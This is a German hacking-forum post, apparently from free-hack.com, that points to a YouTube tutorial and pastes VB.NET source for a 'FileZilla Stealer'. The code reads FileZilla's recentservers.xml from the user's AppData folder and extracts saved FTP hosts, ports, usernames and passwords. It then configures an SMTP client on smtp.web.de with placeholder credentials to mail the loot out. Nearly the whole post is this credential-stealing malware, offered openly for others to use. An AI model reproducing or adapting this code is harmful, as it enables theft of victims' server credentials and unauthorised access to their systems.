Also da ihr in ja alle so runtermacht mach ich mit.
Böser, böser Cr0ssfire100 (http://free-hack.com/../member.php?u=64640) - solltest halt mal Google verwenden, oder da nachschauen wo sonnst keiner nach sowas suchen würde.
Youtube VB 2008 Filezilla Stealer
und dazu noch das was der rumnuschelt
Hack:
Try
RichTextBox1.LoadFile(Environment.GetFolderPath(En vironment.SpecialFolder.ApplicationData) & "\FileZilla\recentservers.xml", RichTextBoxStreamType.PlainText)
For Each i In RichTextBox1.Lines
If i.Contains("<Host>") Then
RichTextBox2.Text &= "FTP: " & i.Replace("<Host>", "").Replace("</Host>", "").Replace(" ", "") & vbNewLine
End If
If i.Contains("<Port>") Then
RichTextBox2.Text &= "Port: " & i.Replace("<Port>", "").Replace("</Port>", "").Replace(" ", "") & vbNewLine
End If
If i.Contains("<User>") Then
RichTextBox2.Text &= "User: " & i.Replace("<User>", "").Replace("</User>", "").Replace(" ", "") & vbNewLine
End If
If i.Contains("<Pass>") Then
RichTextBox2.Text &= "Paswort: " & i.Replace("<Pass>", "").Replace("</Pass>", "").Replace(" ", "") & vbNewLine & vbNewLine & "_________________________________" & vbNewLine & vbNewLine
End If
Next
Catch
End Try
Senden:
Try
Dim Mail As New MailMessage()
Mail.From = New MailAddress("DeineMail")
Mail.To.Add("DeineMail")
Mail.Subject = ("Betreff")
Dim server As New SmtpClient("smtp.web.de")
server.Port = 587
server.Credentials = New System.Net.NetworkCredential("DeineMail", "Passwort")
server.EnableSsl = True
server.Send(Mail)
End
Catch
End Try
' by SlowCatch